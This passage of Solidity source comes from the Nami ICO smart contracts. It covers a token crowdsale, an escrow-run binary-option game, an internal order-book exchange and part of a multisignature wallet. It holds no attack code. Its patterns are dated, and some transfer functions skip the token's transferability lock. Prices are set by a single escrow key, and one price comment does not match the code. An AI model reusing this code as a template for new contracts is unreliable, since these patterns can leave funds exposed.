onlyEscrow
public
{
require(round[_roundIndex].isCompleteActive == true && round[_roundIndex].isCloseEthPool == true && round[_roundIndex].isOpen == false);
require(round[_roundIndex].topWithdrawable);
if(namiPool[_roundIndex][_shareAddress].isActive == true) {
require(namiPool[_roundIndex][_shareAddress].isWithdrawn == false);
assert(round[_roundIndex].finalNAC > namiPool[_roundIndex][_shareAddress].stake);
// compute eth for invester
uint ethReturn = (round[_roundIndex].ethBalance.mul(namiPool[_roundIndex][_shareAddress].stake)).div(round[_roundIndex].finalNAC);
_shareAddress.transfer(ethReturn);
// set user withdraw
namiPool[_roundIndex][_shareAddress].isWithdrawn = true;
Withdraw(_shareAddress, _roundIndex, ethReturn, namiPool[_roundIndex][_shareAddress].stake, now);
// withdraw NAC
_withdrawNAC(_shareAddress, _roundIndex);
}
}
//
//
// withdraw NAC and ETH for non top investor
// execute by admin only
//
//
function withdrawNonTopForTeam(address _shareAddress, uint _roundIndex)
onlyEscrow
public
{
require(round[_roundIndex].isCompleteActive == true && round[_roundIndex].isOpen == false);
require(round[_roundIndex].withdrawable);
if(namiPool[_roundIndex][_shareAddress].isActive == false) {
require(namiPool[_roundIndex][_shareAddress].isWithdrawn == false);
// set state user withdraw
namiPool[_roundIndex][_shareAddress].isWithdrawn = true;
Withdraw(_shareAddress, _roundIndex, 0, namiPool[_roundIndex][_shareAddress].stake, now);
//
_withdrawNAC(_shareAddress, _roundIndex);
}
}
//
//
// withdraw NAC and ETH for top investor
// execute by investor
//
//
function withdrawTop(uint _roundIndex)
public
{
require(round[_roundIndex].isCompleteActive == true && round[_roundIndex].isCloseEthPool == true && round[_roundIndex].isOpen == false);
require(round[_roundIndex].topWithdrawable);
if(namiPool[_roundIndex][msg.sender].isActive == true) {
require(namiPool[_roundIndex][msg.sender].isWithdrawn == false);
uint ethReturn = (round[_roundIndex].ethBalance.mul(namiPool[_roundIndex][msg.sender].stake)).div(round[_roundIndex].finalNAC);
msg.sender.transfer(ethReturn);
// set user withdraw
namiPool[_roundIndex][msg.sender].isWithdrawn = true;
//
Withdraw(msg.sender, _roundIndex, ethReturn, namiPool[_roundIndex][msg.sender].stake, now);
_withdrawNAC(msg.sender, _roundIndex);
}
}
//
//
// withdraw NAC and ETH for non top investor
// execute by investor
//
//
function withdrawNonTop(uint _roundIndex)
public
{
require(round[_roundIndex].isCompleteActive == true && round[_roundIndex].isOpen == false);
require(round[_roundIndex].withdrawable);
if(namiPool[_roundIndex][msg.sender].isActive == false) {
require(namiPool[_roundIndex][msg.sender].isWithdrawn == false);
namiPool[_roundIndex][msg.sender].isWithdrawn = true;
//
Withdraw(msg.sender, _roundIndex, 0, namiPool[_roundIndex][msg.sender].stake, now);
_withdrawNAC(msg.sender, _roundIndex);
}
}
}
contract NamiCrowdSale {
using SafeMath for uint256;
/// NAC Broker Presale Token
/// @dev Constructor
function NamiCrowdSale(address _escrow, address _namiMultiSigWallet, address _namiPresale) public {
require(_namiMultiSigWallet != 0x0);
escrow = _escrow;
namiMultiSigWallet = _namiMultiSigWallet;
namiPresale = _namiPresale;
}
/*/
* Constants
/*/
string public name = "Nami ICO";
string public symbol = "NAC";
uint public decimals = 18;
bool public TRANSFERABLE = false; // default not transferable
uint public constant TOKEN_SUPPLY_LIMIT = 1000000000 * (1 ether / 1 wei);
uint public binary = 0;
/*/
* Token state
/*/
enum Phase {
Created,
Running,
Paused,
Migrating,
Migrated
}
Phase public currentPhase = Phase.Created;
uint public totalSupply = 0; // amount of tokens already sold
// escrow has exclusive priveleges to call administrative
// functions on this contract.
address public escrow;
// Gathered funds can be withdraw only to namimultisigwallet's address.
address public namiMultiSigWallet;
// nami presale contract
address public namiPresale;
// Crowdsale manager has exclusive priveleges to burn presale tokens.
address public crowdsaleManager;
// binary option address
address public binaryAddress;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
modifier onlyCrowdsaleManager() {
require(msg.sender == crowdsaleManager);
_;
}
modifier onlyEscrow() {
require(msg.sender == escrow);
_;
}
modifier onlyTranferable() {
require(TRANSFERABLE);
_;
}
modifier onlyNamiMultisig() {
require(msg.sender == namiMultiSigWallet);
_;
}
/*/
* Events
/*/
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
event LogPhaseSwitch(Phase newPhase);
// Log migrate token
event LogMigrate(address _from, address _to, uint256 amount);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/*/
* Public functions
/*/
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
// Transfer the balance from owner's account to another account
// only escrow can send token (to send token private sale)
function transferForTeam(address _to, uint256 _value) public
onlyEscrow
{
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public
onlyTranferable
{
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value)
public
onlyTranferable
returns (bool success)
{
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
onlyTranferable
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
onlyTranferable
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
// allows transfer token
function changeTransferable () public
onlyEscrow
{
TRANSFERABLE = !TRANSFERABLE;
}
// change escrow
function changeEscrow(address _escrow) public
onlyNamiMultisig
{
require(_escrow != 0x0);
escrow = _escrow;
}
// change binary value
function changeBinary(uint _binary)
public
onlyEscrow
{
binary = _binary;
}
// change binary address
function changeBinaryAddress(address _binaryAddress)
public
onlyEscrow
{
require(_binaryAddress != 0x0);
binaryAddress = _binaryAddress;
}
/*
* price in ICO:
* first week: 1 ETH = 2400 NAC
* second week: 1 ETH = 23000 NAC
* 3rd week: 1 ETH = 2200 NAC
* 4th week: 1 ETH = 2100 NAC
* 5th week: 1 ETH = 2000 NAC
* 6th week: 1 ETH = 1900 NAC
* 7th week: 1 ETH = 1800 NAC
* 8th week: 1 ETH = 1700 nac
* time:
* 1517443200: Thursday, February 1, 2018 12:00:00 AM
* 1518048000: Thursday, February 8, 2018 12:00:00 AM
* 1518652800: Thursday, February 15, 2018 12:00:00 AM
* 1519257600: Thursday, February 22, 2018 12:00:00 AM
* 1519862400: Thursday, March 1, 2018 12:00:00 AM
* 1520467200: Thursday, March 8, 2018 12:00:00 AM
* 1521072000: Thursday, March 15, 2018 12:00:00 AM
* 1521676800: Thursday, March 22, 2018 12:00:00 AM
* 1522281600: Thursday, March 29, 2018 12:00:00 AM
*/
function getPrice() public view returns (uint price) {
if (now < 1517443200) {
// presale
return 3450;
} else if (1517443200 < now && now <= 1518048000) {
// 1st week
return 2400;
} else if (1518048000 < now && now <= 1518652800) {
// 2nd week
return 2300;
} else if (1518652800 < now && now <= 1519257600) {
// 3rd week
return 2200;
} else if (1519257600 < now && now <= 1519862400) {
// 4th week
return 2100;
} else if (1519862400 < now && now <= 1520467200) {
// 5th week
return 2000;
} else if (1520467200 < now && now <= 1521072000) {
// 6th week
return 1900;
} else if (1521072000 < now && now <= 1521676800) {
// 7th week
return 1800;
} else if (1521676800 < now && now <= 1522281600) {
// 8th week
return 1700;
} else {
return binary;
}
}
function() payable public {
buy(msg.sender);
}
function buy(address _buyer) payable public {
// Available only if presale is running.
require(currentPhase == Phase.Running);
// require ICO time or binary option
require(now <= 1522281600 || msg.sender == binaryAddress);
require(msg.value != 0);
uint newTokens = msg.value * getPrice();
require (totalSupply + newTokens < TOKEN_SUPPLY_LIMIT);
// add new token to buyer
balanceOf[_buyer] = balanceOf[_buyer].add(newTokens);
// add new token to totalSupply
totalSupply = totalSupply.add(newTokens);
LogBuy(_buyer,newTokens);
Transfer(this,_buyer,newTokens);
}
/// @dev Returns number of tokens owned by given address.
/// @param _owner Address of token owner.
function burnTokens(address _owner) public
onlyCrowdsaleManager
{
// Available only during migration phase
require(currentPhase == Phase.Migrating);
uint tokens = balanceOf[_owner];
require(tokens != 0);
balanceOf[_owner] = 0;
totalSupply -= tokens;
LogBurn(_owner, tokens);
Transfer(_owner, crowdsaleManager, tokens);
// Automatically switch phase when migration is done.
if (totalSupply == 0) {
currentPhase = Phase.Migrated;
LogPhaseSwitch(Phase.Migrated);
}
}
/*/
* Administrative functions
/*/
function setPresalePhase(Phase _nextPhase) public
onlyEscrow
{
bool canSwitchPhase
= (currentPhase == Phase.Created && _nextPhase == Phase.Running)
|| (currentPhase == Phase.Running && _nextPhase == Phase.Paused)
// switch to migration phase only if crowdsale manager is set
|| ((currentPhase == Phase.Running || currentPhase == Phase.Paused)
&& _nextPhase == Phase.Migrating
&& crowdsaleManager != 0x0)
|| (currentPhase == Phase.Paused && _nextPhase == Phase.Running)
// switch to migrated only if everyting is migrated
|| (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated
&& totalSupply == 0);
require(canSwitchPhase);
currentPhase = _nextPhase;
LogPhaseSwitch(_nextPhase);
}
function withdrawEther(uint _amount) public
onlyEscrow
{
require(namiMultiSigWallet != 0x0);
// Available at any phase.
if (this.balance > 0) {
namiMultiSigWallet.transfer(_amount);
}
}
function safeWithdraw(address _withdraw, uint _amount) public
onlyEscrow
{
NamiMultiSigWallet namiWallet = NamiMultiSigWallet(namiMultiSigWallet);
if (namiWallet.isOwner(_withdraw)) {
_withdraw.transfer(_amount);
}
}
function setCrowdsaleManager(address _mgr) public
onlyEscrow
{
// You can't change crowdsale contract when migration is in progress.
require(currentPhase != Phase.Migrating);
crowdsaleManager = _mgr;
}
// internal migrate migration tokens
function _migrateToken(address _from, address _to)
internal
{
PresaleToken presale = PresaleToken(namiPresale);
uint256 newToken = presale.balanceOf(_from);
require(newToken > 0);
// burn old token
presale.burnTokens(_from);
// add new token to _to
balanceOf[_to] = balanceOf[_to].add(newToken);
// add new token to totalSupply
totalSupply = totalSupply.add(newToken);
LogMigrate(_from, _to, newToken);
Transfer(this,_to,newToken);
}
// migate token function for Nami Team
function migrateToken(address _from, address _to) public
onlyEscrow
{
_migrateToken(_from, _to);
}
// migrate token for investor
function migrateForInvestor() public {
_migrateToken(msg.sender, msg.sender);
}
// Nami internal exchange
// event for Nami exchange
event TransferToBuyer(address indexed _from, address indexed _to, uint _value, address indexed _seller);
event TransferToExchange(address indexed _from, address indexed _to, uint _value, uint _price);
/**
* @dev Transfer the specified amount of tokens to the NamiExchange address.
* Invokes the `tokenFallbackExchange` function.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallbackExchange` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _price price to sell token.
*/
function transferToExchange(address _to, uint _value, uint _price) public {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender,_to,_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallbackExchange(msg.sender, _value, _price);
TransferToExchange(msg.sender, _to, _value, _price);
}
}
/**
* @dev Transfer the specified amount of tokens to the NamiExchange address.
* Invokes the `tokenFallbackBuyer` function.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallbackBuyer` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _buyer address of seller.
*/
function transferToBuyer(address _to, uint _value, address _buyer) public {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender,_to,_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallbackBuyer(msg.sender, _value, _buyer);
TransferToBuyer(msg.sender, _to, _value, _buyer);
}
}
//-------------------------------------------------------------------------------------------------------
}
/*
* Binary option smart contract-------------------------------
*/
contract BinaryOption {
/*
* binary option controled by escrow to buy NAC with good price
*/
// NamiCrowdSale address
address public namiCrowdSaleAddr;
address public escrow;
// namiMultiSigWallet
address public namiMultiSigWallet;
Session public session;
uint public timeInvestInMinute = 15;
uint public timeOneSession = 20;
uint public sessionId = 1;
uint public rateWin = 100;
uint public rateLoss = 20;
uint public rateFee = 5;
uint public constant MAX_INVESTOR = 20;
uint public minimunEth = 10000000000000000; // minimunEth = 0.01 eth
/**
* Events for binany option system
*/
event SessionOpen(uint timeOpen, uint indexed sessionId);
event InvestClose(uint timeInvestClose, uint priceOpen, uint indexed sessionId);
event Invest(address indexed investor, bool choose, uint amount, uint timeInvest, uint indexed sessionId);
event SessionClose(uint timeClose, uint indexed sessionId, uint priceClose, uint nacPrice, uint rateWin, uint rateLoss, uint rateFee);
event Deposit(address indexed sender, uint value);
/// @dev Fallback function allows to deposit ether.
function() public payable {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// there is only one session available at one timeOpen
// priceOpen is price of ETH in USD
// priceClose is price of ETH in USD
// process of one Session
// 1st: escrow reset session by run resetSession()
// 2nd: escrow open session by run openSession() => save timeOpen at this time
// 3rd: all investor can invest by run invest(), send minimum 0.1 ETH
// 4th: escrow close invest and insert price open for this Session
// 5th: escrow close session and send NAC for investor
struct Session {
uint priceOpen;
uint priceClose;
uint timeOpen;
bool isReset;
bool isOpen;
bool investOpen;
uint investorCount;
mapping(uint => address) investor;
mapping(uint => bool) win;
mapping(uint => uint) amountInvest;
}
function BinaryOption(address _namiCrowdSale, address _escrow, address _namiMultiSigWallet) public {
require(_namiCrowdSale != 0x0 && _escrow != 0x0);
namiCrowdSaleAddr = _namiCrowdSale;
escrow = _escrow;
namiMultiSigWallet = _namiMultiSigWallet;
}
modifier onlyEscrow() {
require(msg.sender==escrow);
_;
}
modifier onlyNamiMultisig() {
require(msg.sender == namiMultiSigWallet);
_;
}
// change escrow
function changeEscrow(address _escrow) public
onlyNamiMultisig
{
require(_escrow != 0x0);
escrow = _escrow;
}
// chagne minimunEth
function changeMinEth(uint _minimunEth) public
onlyEscrow
{
require(_minimunEth != 0);
minimunEth = _minimunEth;
}
/// @dev Change time for investor can invest in one session, can only change at time not in session
/// @param _timeInvest time invest in minutes
///---------------------------change time function------------------------------
function changeTimeInvest(uint _timeInvest)
public
onlyEscrow
{
require(!session.isOpen && _timeInvest < timeOneSession);
timeInvestInMinute = _timeInvest;
}
function changeTimeOneSession(uint _timeOneSession)
public
onlyEscrow
{
require(!session.isOpen && _timeOneSession > timeInvestInMinute);
timeOneSession = _timeOneSession;
}
/////------------------------change rate function-------------------------------
function changeRateWin(uint _rateWin)
public
onlyEscrow
{
require(!session.isOpen);
rateWin = _rateWin;
}
function changeRateLoss(uint _rateLoss)
public
onlyEscrow
{
require(!session.isOpen);
rateLoss = _rateLoss;
}
function changeRateFee(uint _rateFee)
public
onlyEscrow
{
require(!session.isOpen);
rateFee = _rateFee;
}
/// @dev withdraw ether to nami multisignature wallet, only escrow can call
/// @param _amount value ether in wei to withdraw
function withdrawEther(uint _amount) public
onlyEscrow
{
require(namiMultiSigWallet != 0x0);
// Available at any phase.
if (this.balance > 0) {
namiMultiSigWallet.transfer(_amount);
}
}
/// @dev safe withdraw Ether to one of owner of nami multisignature wallet
/// @param _withdraw address to withdraw
function safeWithdraw(address _withdraw, uint _amount) public
onlyEscrow
{
NamiMultiSigWallet namiWallet = NamiMultiSigWallet(namiMultiSigWallet);
if (namiWallet.isOwner(_withdraw)) {
_withdraw.transfer(_amount);
}
}
// @dev Returns list of owners.
// @return List of owner addresses.
// MAX_INVESTOR = 20
function getInvestors()
public
view
returns (address[20])
{
address[20] memory listInvestor;
for (uint i = 0; i < MAX_INVESTOR; i++) {
listInvestor[i] = session.investor[i];
}
return listInvestor;
}
function getChooses()
public
view
returns (bool[20])
{
bool[20] memory listChooses;
for (uint i = 0; i < MAX_INVESTOR; i++) {
listChooses[i] = session.win[i];
}
return listChooses;
}
function getAmount()
public
view
returns (uint[20])
{
uint[20] memory listAmount;
for (uint i = 0; i < MAX_INVESTOR; i++) {
listAmount[i] = session.amountInvest[i];
}
return listAmount;
}
/// @dev reset all data of previous session, must run before open new session
// only escrow can call
function resetSession()
public
onlyEscrow
{
require(!session.isReset && !session.isOpen);
session.priceOpen = 0;
session.priceClose = 0;
session.isReset = true;
session.isOpen = false;
session.investOpen = false;
session.investorCount = 0;
for (uint i = 0; i < MAX_INVESTOR; i++) {
session.investor[i] = 0x0;
session.win[i] = false;
session.amountInvest[i] = 0;
}
}
/// @dev Open new session, only escrow can call
function openSession ()
public
onlyEscrow
{
require(session.isReset && !session.isOpen);
session.isReset = false;
// open invest
session.investOpen = true;
session.timeOpen = now;
session.isOpen = true;
SessionOpen(now, sessionId);
}
/// @dev Fuction for investor, minimun ether send is 0.1, one address can call one time in one session
/// @param _choose choise of investor, true is call, false is put
function invest (bool _choose)
public
payable
{
require(msg.value >= minimunEth && session.investOpen); // msg.value >= 0.1 ether
require(now < (session.timeOpen + timeInvestInMinute * 1 minutes));
require(session.investorCount < MAX_INVESTOR);
session.investor[session.investorCount] = msg.sender;
session.win[session.investorCount] = _choose;
session.amountInvest[session.investorCount] = msg.value;
session.investorCount += 1;
Invest(msg.sender, _choose, msg.value, now, sessionId);
}
/// @dev close invest for escrow
/// @param _priceOpen price ETH in USD
function closeInvest (uint _priceOpen)
public
onlyEscrow
{
require(_priceOpen != 0 && session.investOpen);
require(now > (session.timeOpen + timeInvestInMinute * 1 minutes));
session.investOpen = false;
session.priceOpen = _priceOpen;
InvestClose(now, _priceOpen, sessionId);
}
/// @dev get amount of ether to buy NAC for investor
/// @param _ether amount ether which investor invest
/// @param _status true for investor win and false for investor loss
function getEtherToBuy (uint _ether, bool _status)
public
view
returns (uint)
{
if (_status) {
return _ether * rateWin / 100;
} else {
return _ether * rateLoss / 100;
}
}
/// @dev close session, only escrow can call
/// @param _priceClose price of ETH in USD
function closeSession (uint _priceClose)
public
onlyEscrow
{
require(_priceClose != 0 && now > (session.timeOpen + timeOneSession * 1 minutes));
require(!session.investOpen && session.isOpen);
session.priceClose = _priceClose;
bool result = (_priceClose>session.priceOpen)?true:false;
uint etherToBuy;
NamiCrowdSale namiContract = NamiCrowdSale(namiCrowdSaleAddr);
uint price = namiContract.getPrice();
require(price != 0);
for (uint i = 0; i < session.investorCount; i++) {
if (session.win[i]==result) {
etherToBuy = (session.amountInvest[i] - session.amountInvest[i] * rateFee / 100) * rateWin / 100;
uint etherReturn = session.amountInvest[i] - session.amountInvest[i] * rateFee / 100;
(session.investor[i]).transfer(etherReturn);
} else {
etherToBuy = (session.amountInvest[i] - session.amountInvest[i] * rateFee / 100) * rateLoss / 100;
}
namiContract.buy.value(etherToBuy)(session.investor[i]);
// reset investor
session.investor[i] = 0x0;
session.win[i] = false;
session.amountInvest[i] = 0;
}
session.isOpen = false;
SessionClose(now, sessionId, _priceClose, price, rateWin, rateLoss, rateFee);
sessionId += 1;
// require(!session.isReset && !session.isOpen);
// reset state session
session.priceOpen = 0;
session.priceClose = 0;
session.isReset = true;
session.investOpen = false;
session.investorCount = 0;
}
}
contract PresaleToken {
mapping (address => uint256) public balanceOf;
function burnTokens(address _owner) public;
}
/*
* Contract that is working with ERC223 tokens
*/
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool success);
function tokenFallbackBuyer(address _from, uint _value, address _buyer) public returns (bool success);
function tokenFallbackExchange(address _from, uint _value, uint _price) public returns (bool success);
}
/*
* Nami Internal Exchange smartcontract-----------------------------------------------------------------
*
*/
contract NamiExchange {
using SafeMath for uint;
function NamiExchange(address _namiAddress) public {
NamiAddr = _namiAddress;
}
event UpdateBid(address owner, uint price, uint balance);
event UpdateAsk(address owner, uint price, uint volume);
event BuyHistory(address indexed buyer, address indexed seller, uint price, uint volume, uint time);
event SellHistory(address indexed seller, address indexed buyer, uint price, uint volume, uint time);
mapping(address => OrderBid) public bid;
mapping(address => OrderAsk) public ask;
string public name = "NacExchange";
/// address of Nami token
address public NamiAddr;
/// price of Nac = ETH/NAC
uint public price = 1;
// struct store order of user
struct OrderBid {
uint price;
uint eth;
}
struct OrderAsk {
uint price;
uint volume;
}
// prevent lost ether
function() payable public {
require(msg.data.length != 0);
require(msg.value == 0);
}
modifier onlyNami {
require(msg.sender == NamiAddr);
_;
}
/////////////////
//---------------------------function about bid Order-----------------------------------------------------------
function placeBuyOrder(uint _price) payable public {
require(_price > 0 && msg.value > 0 && bid[msg.sender].eth == 0);
if (msg.value > 0) {
bid[msg.sender].eth = (bid[msg.sender].eth).add(msg.value);
bid[msg.sender].price = _price;
UpdateBid(msg.sender, _price, bid[msg.sender].eth);
}
}
function sellNac(uint _value, address _buyer, uint _price) public returns (bool success) {
require(_price == bid[_buyer].price && _buyer != msg.sender);
NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr);
uint ethOfBuyer = bid[_buyer].eth;
uint maxToken = ethOfBuyer.mul(bid[_buyer].price);
require(namiToken.allowance(msg.sender, this) >= _value && _value > 0 && ethOfBuyer != 0 && _buyer != 0x0);
if (_value > maxToken) {
if (msg.sender.send(ethOfBuyer) && namiToken.transferFrom(msg.sender,_buyer,maxToken)) {
// update order
bid[_buyer].eth = 0;
UpdateBid(_buyer, bid[_buyer].price, bid[_buyer].eth);
BuyHistory(_buyer, msg.sender, bid[_buyer].price, maxToken, now);
return true;
} else {
// revert anything
revert();
}
} else {
uint eth = _value.div(bid[_buyer].price);
if (msg.sender.send(eth) && namiToken.transferFrom(msg.sender,_buyer,_value)) {
// update order
bid[_buyer].eth = (bid[_buyer].eth).sub(eth);
UpdateBid(_buyer, bid[_buyer].price, bid[_buyer].eth);
BuyHistory(_buyer, msg.sender, bid[_buyer].price, _value, now);
return true;
} else {
// revert anything
revert();
}
}
}
function closeBidOrder() public {
require(bid[msg.sender].eth > 0 && bid[msg.sender].price > 0);
// transfer ETH
msg.sender.transfer(bid[msg.sender].eth);
// update order
bid[msg.sender].eth = 0;
UpdateBid(msg.sender, bid[msg.sender].price, bid[msg.sender].eth);
}
////////////////
//---------------------------function about ask Order-----------------------------------------------------------
// place ask order by send NAC to Nami Exchange contract
// this function place sell order
function tokenFallbackExchange(address _from, uint _value, uint _price) onlyNami public returns (bool success) {
require(_price > 0 && _value > 0 && ask[_from].volume == 0);
if (_value > 0) {
ask[_from].volume = (ask[_from].volume).add(_value);
ask[_from].price = _price;
UpdateAsk(_from, _price, ask[_from].volume);
}
return true;
}
function closeAskOrder() public {
require(ask[msg.sender].volume > 0 && ask[msg.sender].price > 0);
NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr);
uint previousBalances = namiToken.balanceOf(msg.sender);
// transfer token
namiToken.transfer(msg.sender, ask[msg.sender].volume);
// update order
ask[msg.sender].volume = 0;
UpdateAsk(msg.sender, ask[msg.sender].price, 0);
// check balance
assert(previousBalances < namiToken.balanceOf(msg.sender));
}
function buyNac(address _seller, uint _price) payable public returns (bool success) {
require(msg.value > 0 && ask[_seller].volume > 0 && ask[_seller].price > 0);
require(_price == ask[_seller].price && _seller != msg.sender);
NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr);
uint maxEth = (ask[_seller].volume).div(ask[_seller].price);
uint previousBalances = namiToken.balanceOf(msg.sender);
if (msg.value > maxEth) {
if (_seller.send(maxEth) && msg.sender.send(msg.value.sub(maxEth))) {
// transfer token
namiToken.transfer(msg.sender, ask[_seller].volume);
SellHistory(_seller, msg.sender, ask[_seller].price, ask[_seller].volume, now);
// update order
ask[_seller].volume = 0;
UpdateAsk(_seller, ask[_seller].price, 0);
assert(previousBalances < namiToken.balanceOf(msg.sender));
return true;
} else {
// revert anything
revert();
}
} else {
uint nac = (msg.value).mul(ask[_seller].price);
if (_seller.send(msg.value)) {
// transfer token
namiToken.transfer(msg.sender, nac);
// update order
ask[_seller].volume = (ask[_seller].volume).sub(nac);
UpdateAsk(_seller, ask[_seller].price, ask[_seller].volume);
SellHistory(_seller, msg.sender, ask[_seller].price, nac, now);
assert(previousBalances < namiToken.balanceOf(msg.sender));
return true;
} else {
// revert anything
revert();
}
}
}
}
contract ERC23 {
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public returns (bool success);
}
/*
* NamiMultiSigWallet smart contract-------------------------------
*/
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
contract NamiMultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(!(ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0));
_;
}
/// @dev Fallback function allows to deposit ether.
function() public payable {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function NamiMultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!(isOwner[_owners[i]] || _owners[i] == 0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++) {
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++) {
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
